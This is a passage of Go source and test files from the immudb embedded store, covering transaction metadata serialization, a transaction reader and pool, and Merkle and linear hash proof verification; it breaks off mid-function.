of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package store import ( "bytes" "encoding/binary" "fmt" ) // attributeCode is used to identify the attribute. const ( truncatedUptoTxAttrCode attributeCode = 0 extraAttrCode attributeCode = 1 ) // attribute size is the size of the attribute in bytes. const ( truncatedUptoTxAttrSize = txIDSize ) const maxTxMetadataLen = (attrCodeSize + truncatedUptoTxAttrSize) + (attrCodeSize + sszSize + maxExtraLen) const maxExtraLen = 256 // truncatedUptoTxAttribute is used to identify that the transaction // stores the information up to which given transaction ID the // database was truncated. type truncatedUptoTxAttribute struct { txID uint64 } // code returns the attribute code. func (a *truncatedUptoTxAttribute) code() attributeCode { return truncatedUptoTxAttrCode } // serialize returns the serialized attribute. func (a *truncatedUptoTxAttribute) serialize() []byte { var b [txIDSize]byte binary.BigEndian.PutUint64(b[:], a.txID) return b[:] } // deserialize deserializes the attribute. func (a *truncatedUptoTxAttribute) deserialize(b []byte) (int, error) { if len(b) < txIDSize { return 0, ErrCorruptedData } a.txID = binary.BigEndian.Uint64(b) return txIDSize, nil } type extraAttribute struct { extra []byte } // code returns the attribute code. func (a *extraAttribute) code() attributeCode { return extraAttrCode } // serialize returns the serialized attribute. func (a *extraAttribute) serialize() []byte { var b [sszSize + maxExtraLen]byte binary.BigEndian.PutUint16(b[:], uint16(len(a.extra))) copy(b[sszSize:], a.extra) return b[:sszSize+len(a.extra)] } // deserialize deserializes the attribute. func (a *extraAttribute) deserialize(b []byte) (int, error) { if len(b) < sszSize { return 0, ErrCorruptedData } a.extra = make([]byte, binary.BigEndian.Uint16(b)) copy(a.extra, b[sszSize:]) return sszSize + len(a.extra), nil } func getAttributeFrom(attrCode attributeCode) (attribute, error) { switch attrCode { case truncatedUptoTxAttrCode: { return &truncatedUptoTxAttribute{}, nil } case extraAttrCode: { return &extraAttribute{}, nil } default: { return nil, fmt.Errorf("error reading tx metadata attributes: %w", ErrCorruptedData) } } } // TxMetadata is used to store metadata of a transaction. type TxMetadata struct { // attributes is a map of attributes. attributes map[attributeCode]attribute } func NewTxMetadata() *TxMetadata { return &TxMetadata{ attributes: make(map[attributeCode]attribute), } } func (md *TxMetadata) IsEmpty() bool { return md == nil || len(md.attributes) == 0 } func (md *TxMetadata) HasExtraOnly() bool { return len(md.attributes) == 1 && md.Extra() != nil } func (md *TxMetadata) Equal(amd *TxMetadata) bool { if amd == nil || md == nil { return false } return bytes.Equal(md.Bytes(), amd.Bytes()) } func (md *TxMetadata) Bytes() []byte { var b bytes.Buffer for _, attrCode := range []attributeCode{truncatedUptoTxAttrCode, extraAttrCode} { attr, ok := md.attributes[attrCode] if ok { b.WriteByte(byte(attr.code())) b.Write(attr.serialize()) } } return b.Bytes() } func (md *TxMetadata) ReadFrom(b []byte) error { if len(b) > maxTxMetadataLen { return ErrCorruptedData } i := 0 for { if len(b) == i { break } if len(b[i:]) < attrCodeSize { return ErrCorruptedData } attrCode := attributeCode(b[i]) i += attrCodeSize attr, err := getAttributeFrom(attrCode) if err != nil { return err } n, err := attr.deserialize(b[i:]) if err != nil { return fmt.Errorf("error reading tx metadata attributes: %w", err) } i += n md.attributes[attr.code()] = attr } return nil } // HasTruncatedTxID returns true if the transaction stores the information // up to which given transaction ID the database was truncated. func (md *TxMetadata) HasTruncatedTxID() bool { _, ok := md.attributes[truncatedUptoTxAttrCode] return ok } // GetTruncatedTxID returns the transaction ID up to which the // database was last truncated. func (md *TxMetadata) GetTruncatedTxID() (uint64, error) { attr, ok := md.attributes[truncatedUptoTxAttrCode] if !ok { return 0, ErrTruncationInfoNotPresentInMetadata } return attr.(*truncatedUptoTxAttribute).txID, nil } // WithTruncatedTxID sets the vlog truncated attribute indicating // that the transaction stores the information up to which given // transaction ID the database was truncated. func (md *TxMetadata) WithTruncatedTxID(txID uint64) *TxMetadata { attr, ok := md.attributes[truncatedUptoTxAttrCode] if !ok { attr = &truncatedUptoTxAttribute{txID: txID} md.attributes[truncatedUptoTxAttrCode] = attr return md } attr.(*truncatedUptoTxAttribute).txID = txID return md } func (md *TxMetadata) Extra() []byte { attr, ok := md.attributes[extraAttrCode] if !ok { return nil } return attr.(*extraAttribute).extra } func (md *TxMetadata) WithExtra(data []byte) error { if len(data) == 0 { delete(md.attributes, extraAttrCode) return nil } if len(data) > maxExtraLen { return fmt.Errorf("%w: max extra data length exceeded", ErrIllegalArguments) } attr := &extraAttribute{extra: make([]byte, len(data))} copy(attr.extra, data) md.attributes[extraAttrCode] = attr return nil } ================================================ FILE: embedded/store/tx_metadata_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package store import ( "testing" "github.com/stretchr/testify/require" ) func TestTxMetadata(t *testing.T) { md := NewTxMetadata() require.True(t, md.IsEmpty()) bs := md.Bytes() require.Nil(t, bs) err := md.ReadFrom(bs) require.NoError(t, err) desmd := NewTxMetadata() err = desmd.ReadFrom(nil) require.NoError(t, err) err = desmd.ReadFrom(desmd.Bytes()) require.NoError(t, err) require.True(t, md.Equal(desmd)) require.True(t, desmd.IsEmpty()) } func TestTxMetadataWithAttributes(t *testing.T) { md := NewTxMetadata() bs := md.Bytes() require.Len(t, bs, 0) err := md.ReadFrom(bs) require.NoError(t, err) require.False(t, md.HasTruncatedTxID()) desmd := NewTxMetadata() err = desmd.ReadFrom(nil) require.NoError(t, err) _, err = desmd.GetTruncatedTxID() require.ErrorIs(t, err, ErrTruncationInfoNotPresentInMetadata) desmd.WithTruncatedTxID(1) require.True(t, desmd.HasTruncatedTxID()) v, err := desmd.GetTruncatedTxID() require.NoError(t, err) require.Equal(t, uint64(1), v) desmd.WithTruncatedTxID(10) v, err = desmd.GetTruncatedTxID() require.NoError(t, err) require.Equal(t, uint64(10), v) require.Nil(t, desmd.Extra()) extraData := []byte("extra-data") err = desmd.WithExtra(extraData) require.NoError(t, err) require.Equal(t, extraData, desmd.Extra()) require.False(t, desmd.IsEmpty()) bs = desmd.Bytes() require.NotNil(t, bs) require.LessOrEqual(t, len(bs), maxTxMetadataLen) err = desmd.ReadFrom(bs) require.NoError(t, err) require.True(t, desmd.HasTruncatedTxID()) } ================================================ FILE: embedded/store/tx_reader.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package store import ( "crypto/sha256" "fmt" ) type TxReader struct { InitialTxID uint64 Desc bool allowPrecommitted bool skipIntegrityCheck bool CurrTxID uint64 CurrAlh [sha256.Size]byte st *ImmuStore _tx *Tx } func (s *ImmuStore) NewTxReader(initialTxID uint64, desc bool, tx *Tx) (*TxReader, error) { s.mutex.Lock() defer s.mutex.Unlock() if s.closed { return nil, ErrAlreadyClosed } return s.newTxReader(initialTxID, desc, false, false, tx) } func (s *ImmuStore) newTxReader(initialTxID uint64, desc, allowPrecommitted bool, skipIntegrityCheck bool, tx *Tx) (*TxReader, error) { if initialTxID == 0 { return nil, ErrIllegalArguments } if tx == nil { return nil, ErrIllegalArguments } return &TxReader{ InitialTxID: initialTxID, Desc: desc, CurrTxID: initialTxID, allowPrecommitted: allowPrecommitted, skipIntegrityCheck: skipIntegrityCheck, st: s, _tx: tx, }, nil } func (txr *TxReader) Read() (*Tx, error) { if txr.CurrTxID == 0 { return nil, ErrNoMoreEntries } err := txr.st.readTx(txr.CurrTxID, txr.allowPrecommitted, txr.skipIntegrityCheck, txr._tx) if err == ErrTxNotFound { return nil, ErrNoMoreEntries } if err != nil { return nil, txr.st.wrapAppendableErr(err, "reading transaction") } if txr.InitialTxID != txr.CurrTxID { if txr.Desc && txr.CurrAlh != txr._tx.header.Alh() { return nil, fmt.Errorf("%w: ALH mismatch at tx %d", ErrCorruptedTxData, txr._tx.header.ID) } if !txr.Desc && txr.CurrAlh != txr._tx.header.PrevAlh { return nil, fmt.Errorf("%w: ALH mismatch at tx %d", ErrCorruptedTxData, txr._tx.header.ID) } } if txr.Desc { txr.CurrTxID-- txr.CurrAlh = txr._tx.header.PrevAlh } else { txr.CurrTxID++ txr.CurrAlh = txr._tx.header.Alh() } return txr._tx, nil } ================================================ FILE: embedded/store/tx_reader_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package store import ( "context" "encoding/binary" "errors" "testing" "github.com/codenotary/immudb/embedded/appendable/multiapp" "github.com/codenotary/immudb/embedded/appendable/singleapp" "github.com/stretchr/testify/require" ) func TestTxReader(t *testing.T) { opts := DefaultOptions().WithSynced(false).WithMaxConcurrency(1) immuStore, err := Open(t.TempDir(), opts) require.NoError(t, err) require.NotNil(t, immuStore) txCount := 1000 eCount := 10 for i := 0; i < txCount; i++ { tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) for j := 0; j < eCount; j++ { k := make([]byte, 8) binary.BigEndian.PutUint64(k, uint64(j)) v := make([]byte, 8) binary.BigEndian.PutUint64(v, uint64(i)) err = tx.Set(k, nil, v) require.NoError(t, err) } txhdr, err := tx.AsyncCommit(context.Background()) require.NoError(t, err) require.Equal(t, uint64(i+1), txhdr.ID) } _, err = immuStore.NewTxReader(0, false, nil) require.ErrorIs(t, err, ErrIllegalArguments) _, err = immuStore.NewTxReader(1, false, nil) require.ErrorIs(t, err, ErrIllegalArguments) txHolder := tempTxHolder(t, immuStore) currTxID := uint64(1) txReader, err := immuStore.NewTxReader(currTxID, false, txHolder) require.NoError(t, err) for { tx, err := txReader.Read() if err == ErrNoMoreEntries { break } require.NoError(t, err) require.Equal(t, currTxID, tx.header.ID) currTxID++ } require.Equal(t, uint64(txCount), currTxID-1) currTxID = uint64(txCount) txReader, err = immuStore.NewTxReader(currTxID, true, txHolder) require.NoError(t, err) for { tx, err := txReader.Read() if err == ErrNoMoreEntries { break } require.NoError(t, err) require.Equal(t, currTxID, tx.header.ID) currTxID-- } require.Equal(t, uint64(0), currTxID) } func TestWrapAppendableErr(t *testing.T) { opts := DefaultOptions().WithSynced(false).WithMaxConcurrency(1) immuStore, err := Open(t.TempDir(), opts) require.NoError(t, err) err = immuStore.wrapAppendableErr(nil, "anAction") require.NoError(t, err) unwrappedErr := errors.New("some error") err = immuStore.wrapAppendableErr(unwrappedErr, "anAction") require.ErrorIs(t, err, unwrappedErr) err = immuStore.wrapAppendableErr(singleapp.ErrAlreadyClosed, "anAction") require.ErrorIs(t, err, ErrAlreadyClosed) err = immuStore.wrapAppendableErr(multiapp.ErrAlreadyClosed, "anAction") require.ErrorIs(t, err, ErrAlreadyClosed) } ================================================ FILE: embedded/store/tx_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package store import ( "crypto/sha256" "errors" "testing" "github.com/codenotary/immudb/embedded/appendable" "github.com/codenotary/immudb/embedded/appendable/mocked" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" ) func TestReadTxFromCorruptedData(t *testing.T) { a := &mocked.MockedAppendable{} r := appendable.NewReaderFrom(a, 0, 1) require.NotNil(t, r) tx := NewTx(1, 32) // Should fail while reading TxID a.ReadAtFn = func(bs []byte, off int64) (int, error) { return 0, errors.New("error") } err := tx.readFrom(r, false) require.Error(t, err) // Should fail while reading Ts r.Reset() a.ReadAtFn = func(bs []byte, off int64) (int, error) { if off < 8 { return len(bs), nil } return 0, errors.New("error") } err = tx.readFrom(r, false) require.Error(t, err) // Should fail while reading BlTxID r.Reset() a.ReadAtFn = func(bs []byte, off int64) (int, error) { if off < 16 { return len(bs), nil } return 0, errors.New("error") } err = tx.readFrom(r, false) require.Error(t, err) // Should fail while reading BlRoot r.Reset() a.ReadAtFn = func(bs []byte, off int64) (int, error) { if off < 24+sha256.Size { return len(bs), nil } return 0, errors.New("error") } err = tx.readFrom(r, false) require.Error(t, err) // Should fail while reading PrevAlh r.Reset() a.ReadAtFn = func(bs []byte, off int64) (int, error) { if off < 24+2*sha256.Size { return len(bs), nil } return 0, errors.New("error") } err = tx.readFrom(r, false) require.Error(t, err) // Should fail while reading nentries r.Reset() a.ReadAtFn = func(bs []byte, off int64) (int, error) { if off < 32+2*sha256.Size { return len(bs), nil } return 0, errors.New("error") } err = tx.readFrom(r, false) require.Error(t, err) } func TestTxHeaderBytes(t *testing.T) { // Default version-0 header h := TxHeader{ ID: 0x01, Ts: 0x02, BlTxID: 0x03, BlRoot: [sha256.Size]byte{0x04}, PrevAlh: [sha256.Size]byte{0x05}, Metadata: nil, NEntries: 0x07, Eh: [sha256.Size]byte{0x08}, } t.Run("encoding of hdr version 0", func(t *testing.T) { h.Version = 0 bytes, err := h.Bytes() require.NoError(t, err) assert.Equal(t, []byte{ 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, // ID 0x5, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, // PrevAlh 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x2, // Ts 0x0, 0x0, // Version 0x0, 0x7, // nEntries 0x8, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, // Eh 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x3, // BlTxID 0x4, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, // BlRoot 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, }, bytes) }) t.Run("encoding of hdr version 1", func(t *testing.T) { h.Version = 1 bytes, err := h.Bytes() require.NoError(t, err) assert.Equal(t, []byte{ 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, // ID 0x5, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, // PrevAlh 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x2, // Ts 0x0, 0x1, // Version 0x0, 0x0, // Metadata size 0x0, 0x0, 0x0, 0x7, // nEntries 0x8, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, // Eh 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x3, // BlTxID 0x4, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, // BlRoot 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, }, bytes) }) t.Run("encoding of invalid hrd version must end up with an error", func(t *testing.T) { h2 := h h2.Version = -1 _, err := h2.Bytes() require.ErrorIs(t, err, ErrUnsupportedTxHeaderVersion) }) t.Run("encoding of hrd version 0 must end up with an error if used with non-empty metadata", func(t *testing.T) { h2 := h h2.Version = 0 h2.Metadata = NewTxMetadata() _, err := h2.Bytes() require.NoError(t, err) // Currently the tx metadata can only be empty, it will not fail }) } func TestEntryMetadataWithVersions(t *testing.T) { entries := []*TxEntry{ NewTxEntry( []byte("key"), nil, 0, [sha256.Size]byte{}, 0, ), } tx := NewTxWithEntries(&TxHeader{NEntries: len(entries)}, entries) t.Run("calculating TX hash tree for entries without metadata must succeed", func(t *testing.T) { tx.header.Version = 0 err := tx.BuildHashTree() require.NoError(t, err) tx.header.Version = 1 err = tx.BuildHashTree() require.NoError(t, err) }) t.Run("calculating TX hash tree for entries with empty metadata must succeed", func(t *testing.T) { tx.entries[0].md = NewKVMetadata() tx.header.Version = 0 err := tx.BuildHashTree() require.NoError(t, err) tx.header.Version = 1 err = tx.BuildHashTree() require.NoError(t, err) }) t.Run("calculating TX hash tree for entries with non-empty metadata must fail in version 0", func(t *testing.T) { tx.entries[0].md.AsDeleted(true) tx.header.Version = 0 err := tx.BuildHashTree() require.ErrorIs(t, err, ErrMetadataUnsupported) tx.header.Version = 1 err = tx.BuildHashTree() require.NoError(t, err) }) } ================================================ FILE: embedded/store/txpool.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package store import ( "sync" ) type txPoolOptions struct { poolSize int maxTxEntries int maxKeyLen int preallocated bool } type TxPool interface { Alloc() (*Tx, error) Release(*Tx) Stats() (used, free, max int) } type txPool struct { pool []*Tx used int m sync.Mutex opts txPoolOptions } func newTxPool(opts txPoolOptions) (TxPool, error) { if opts.poolSize <= 0 || opts.maxTxEntries <= 0 || opts.maxKeyLen <= 0 { return nil, ErrIllegalArguments } ret := &txPool{ pool: make([]*Tx, 0, opts.poolSize), opts: opts, } if opts.preallocated { for i := 0; i < opts.poolSize; i++ { ret.pool = append(ret.pool, NewTx(opts.maxTxEntries, opts.maxKeyLen)) } } return ret, nil } func (p *txPool) Alloc() (*Tx, error) { p.m.Lock() defer p.m.Unlock() if p.used == len(p.pool) { if p.used >= p.opts.poolSize { return nil, ErrTxPoolExhausted } p.pool = append(p.pool, NewTx(p.opts.maxTxEntries, p.opts.maxKeyLen)) } tx := p.pool[p.used] p.used++ return tx, nil } func (p *txPool) Release(tx *Tx) { p.m.Lock() defer p.m.Unlock() p.used-- p.pool[p.used] = tx } func (p *txPool) Stats() (used, free, max int) { p.m.Lock() defer p.m.Unlock() return p.used, len(p.pool) - p.used, p.opts.poolSize } ================================================ FILE: embedded/store/txpool_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package store import ( "fmt" "testing" "github.com/stretchr/testify/require" ) func TestTxPool(t *testing.T) { for _, preallocated := range []bool{true, false} { t.Run(fmt.Sprintf("preallocated: %v", preallocated), func(t *testing.T) { p, err := newTxPool(txPoolOptions{ maxTxEntries: 100, maxKeyLen: 101, poolSize: 102, preallocated: preallocated, }) require.NoError(t, err) t.Run("test initial pool stats", func(t *testing.T) { used, free, max := p.Stats() require.Equal(t, 0, used) require.Equal(t, 102, max) if preallocated { require.Equal(t, 102, free) } else { require.Equal(t, 0, free) } }) t.Run("test allocation of single tx", func(t *testing.T) { tx, err := p.Alloc() require.NoError(t, err) require.NotNil(t, tx) require.Len(t, tx.entries, 100) require.NotNil(t, tx.htree) require.NotNil(t, tx.header) for _, e := range tx.entries { require.Len(t, e.k, 101) } used, free, max := p.Stats() require.Equal(t, 1, used) require.Equal(t, 102, max) if preallocated { require.Equal(t, 101, free) } else { require.Equal(t, 0, free) } p.Release(tx) used, free, max = p.Stats() require.Equal(t, 0, used) require.Equal(t, 102, max) if preallocated { require.Equal(t, 102, free) } else { require.Equal(t, 1, free) } }) txsMap := map[*Tx]struct{}{} txs := []*Tx{} t.Run("test allocation of all pool entries", func(t *testing.T) { for i := 0; i < 102; i++ { tx, err := p.Alloc() require.NoError(t, err) _, found := txsMap[tx] require.False(t, found) txsMap[tx] = struct{}{} txs = append(txs, tx) used, free, max := p.Stats() require.Equal(t, len(txsMap), used) require.Equal(t, 102, max) if preallocated { require.Equal(t, 102-len(txsMap), free) } else { require.Equal(t, 0, free) } require.Len(t, tx.entries, 100) } }) t.Run("ensure txs objects don't share buffers", func(t *testing.T) { for i := range txs { for j, e := range txs[i].entries { require.Len(t, e.k, 101) for k := range e.k { e.k[k] = byte(i + j + k) } } } for i := range txs { for j, e := range txs[i].entries { require.Len(t, e.k, 101) for k := range e.k { require.Equal(t, byte(i+j+k), e.k[k]) } } } }) t.Run("test error once the pool is exhausted", func(t *testing.T) { tx, err := p.Alloc() require.ErrorIs(t, err, ErrTxPoolExhausted) require.Nil(t, tx) }) t.Run("test freeing all entries in the pool", func(t *testing.T) { for tx := range txsMap { p.Release(tx) } used, free, max := p.Stats() require.Equal(t, 0, used) require.Equal(t, 102, max) require.Equal(t, 102, free) }) t.Run("test if reallocated object wre in the pool before", func(t *testing.T) { for i := 0; i < 102; i++ { tx, err := p.Alloc() require.NoError(t, err) _, found := txsMap[tx] require.True(t, found) delete(txsMap, tx) } }) }) } } ================================================ FILE: embedded/store/verification.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package store import ( "crypto/sha256" "encoding/binary" "fmt" "github.com/codenotary/immudb/embedded/ahtree" "github.com/codenotary/immudb/embedded/htree" ) func VerifyInclusion(proof *htree.InclusionProof, entryDigest, root [sha256.Size]byte) bool { return htree.VerifyInclusion(proof, entryDigest, root) } func advanceLinearHash(alh [sha256.Size]byte, txID uint64, term [sha256.Size]byte) [sha256.Size]byte { var bs [txIDSize + 2*sha256.Size]byte binary.BigEndian.PutUint64(bs[:], txID) copy(bs[txIDSize:], alh[:]) copy(bs[txIDSize+sha256.Size:], term[:]) // innerHash = hash(ts + mdLen + md + nentries + eH + blTxID + blRoot) return sha256.Sum256(bs[:]) // hash(txID + prevAlh + innerHash) } func VerifyLinearProof(proof *LinearProof, sourceTxID, targetTxID uint64, sourceAlh, targetAlh [sha256.Size]byte) bool { if proof == nil || proof.SourceTxID != sourceTxID || proof.TargetTxID != targetTxID { return false } if proof.SourceTxID == 0 || proof.SourceTxID > proof.TargetTxID || len(proof.Terms) == 0 || sourceAlh != proof.Terms[0] { return false } if uint64(len(proof.Terms)) != targetTxID-sourceTxID+1 { return false } calculatedAlh := proof.Terms[0] for i := 1; i < len(proof.Terms); i++ { calculatedAlh = advanceLinearHash(calculatedAlh, proof.SourceTxID+uint64(i), proof.Terms[i]) } return targetAlh == calculatedAlh } func VerifyLinearAdvanceProof( proof *LinearAdvanceProof, startTxID uint64, endTxID uint64, endAlh [sha256.Size]byte, treeRoot [sha256.Size]byte, treeSize uint64, ) bool { // // Old // \ Merkle Tree // \ // \ // \ Additional Inclusion proof // \ for those nodes // \ in new Merkle Tree // \ ...................... // \ / \ // \ // \+--+ +--+ +--+ +--+ +--+ // -----------| |-----| |-----| |-----| |-----| | // +--+ +--+ +--+ +--+ +--+ // // startTxID endTxID // // This must not happen - that's an invalid proof if endTxID < startTxID { return false } // Linear Advance Proof is not needed if endTxID <= startTxID+1 { return true } // Check more preconditions that would indicate broken proof if proof == nil || len(proof.LinearProofTerms) != int(endTxID-startTxID) || len(proof.InclusionProofs) != int(endTxID-startTxID)-1 { return false } calculatedAlh := proof.LinearProofTerms[0] // alh at startTx+1 for txID := startTxID + 1; txID < endTxID; txID++ { // Ensure the node in the chain is included in the target Merkle Tree if !ahtree.VerifyInclusion( proof.InclusionProofs[txID-startTxID-1], txID, treeSize, leafFor(calculatedAlh), treeRoot, ) { return false } // Get the Alh for the next transaction calculatedAlh = advanceLinearHash(calculatedAlh, txID+1, proof.LinearProofTerms[txID-startTxID]) } // We must end up with the final Alh - that one is also checked for inclusion but in different part of the proof return calculatedAlh == endAlh } func VerifyDualProof(proof *DualProof, sourceTxID, targetTxID uint64, sourceAlh, targetAlh [sha256.Size]byte) bool { if proof == nil || proof.SourceTxHeader == nil || proof.TargetTxHeader == nil || proof.SourceTxHeader.ID != sourceTxID || proof.TargetTxHeader.ID != targetTxID { return false } if proof.SourceTxHeader.ID == 0 || proof.SourceTxHeader.ID > proof.TargetTxHeader.ID { return false } cSourceAlh := proof.SourceTxHeader.Alh() if sourceAlh != cSourceAlh { return false } cTargetAlh := proof.TargetTxHeader.Alh() if targetAlh != cTargetAlh { return false } if sourceTxID < proof.TargetTxHeader.BlTxID { verifies := ahtree.VerifyInclusion( proof.InclusionProof, sourceTxID, proof.TargetTxHeader.BlTxID, leafFor(sourceAlh), proof.TargetTxHeader.BlRoot, ) if !verifies { return false } } if proof.SourceTxHeader.BlTxID > 0 { verifies := ahtree.VerifyConsistency( proof.ConsistencyProof, proof.SourceTxHeader.BlTxID, proof.TargetTxHeader.BlTxID, proof.SourceTxHeader.BlRoot, proof.TargetTxHeader.BlRoot, ) if !verifies { return false } } if proof.TargetTxHeader.BlTxID > 0 { verifies := ahtree.VerifyLastInclusion( proof.LastInclusionProof, proof.TargetTxHeader.BlTxID, leafFor(proof.TargetBlTxAlh), proof.TargetTxHeader.BlRoot, ) if !verifies { return false } } if sourceTxID < proof.TargetTxHeader.BlTxID { verifies := VerifyLinearProof(proof.LinearProof, proof.TargetTxHeader.BlTxID, targetTxID, proof.TargetBlTxAlh, targetAlh) if !verifies { return false } // Verify that the part of the linear proof consumed by the new merkle tree is consistent with that Merkle Tree // In this case, this is the whole chain to the SourceTxID from the previous Merkle Tree. // The sourceTxID consistency is already proven using proof.InclusionProof if !VerifyLinearAdvanceProof( proof.LinearAdvanceProof, proof.SourceTxHeader.BlTxID, sourceTxID, sourceAlh, proof.TargetTxHeader.BlRoot, proof.TargetTxHeader.BlTxID, ) { return false } } else { verifies := VerifyLinearProof(proof.LinearProof, sourceTxID, targetTxID, sourceAlh, targetAlh) if !verifies { return false } // Verify that the part of the linear proof consumed by the new merkle tree is consistent with that Merkle Tree // In this case, this is the whole linear chain between the old Merkle Tree and the new Merkle Tree. The last entry // in the new Merkle Tree is already proven through the LastInclusionProof, the remaining part of the liner proof // that goes outside of the target Merkle Tree will be validated in future DualProof validations if !VerifyLinearAdvanceProof( proof.LinearAdvanceProof, proof.SourceTxHeader.BlTxID, proof.TargetTxHeader.BlTxID, proof.TargetBlTxAlh, proof.TargetTxHeader.BlRoot, proof.TargetTxHeader.BlTxID, ) { return false } } return true } func leafFor(d [sha256.Size]byte) [sha256.Size]byte { var b [1 + sha256.Size]byte b[0] = ahtree.LeafPrefix copy(b[1:], d[:]) return sha256.Sum256(b[:]) } type EntrySpecDigest func(kv *EntrySpec) [sha256.Size]byte func EntrySpecDigestFor(version int) (EntrySpecDigest, error) { switch version { case 0: return EntrySpecDigest_v0, nil case 1: return EntrySpecDigest_v1, nil } return nil, ErrUnsupportedTxVersion } func EntrySpecDigest_v0(kv *EntrySpec) [sha256.Size]byte { b := make([]byte, len(kv.Key)+sha256.Size) copy(b[:], kv.Key) hvalue := sha256.Sum256(kv.Value) copy(b[len(kv.Key):], hvalue[:]) return sha256.Sum256(b) } func EntrySpecDigest_v1(kv *EntrySpec) [sha256.Size]byte { var mdbs []byte if kv.Metadata != nil { mdbs = kv.Metadata.Bytes() } mdLen := len(mdbs) kLen := len(kv.Key) b := make([]byte, sszSize+mdLen+sszSize+kLen+sha256.Size) i := 0 binary.BigEndian.PutUint16(b[i:], uint16(mdLen)) i += sszSize copy(b[i:], mdbs) i += mdLen binary.BigEndian.PutUint16(b[i:], uint16(kLen)) i += sszSize copy(b[i:], kv.Key) i += len(kv.Key) var hvalue [sha256.Size]byte if kv.IsValueTruncated { hvalue = kv.HashValue } else { hvalue = sha256.Sum256(kv.Value) } copy(b[i:], hvalue[:]) i += sha256.Size return sha256.Sum256(b[:i]) } func VerifyDualProofV2(proof *DualProofV2, sourceTxID, targetTxID uint64, 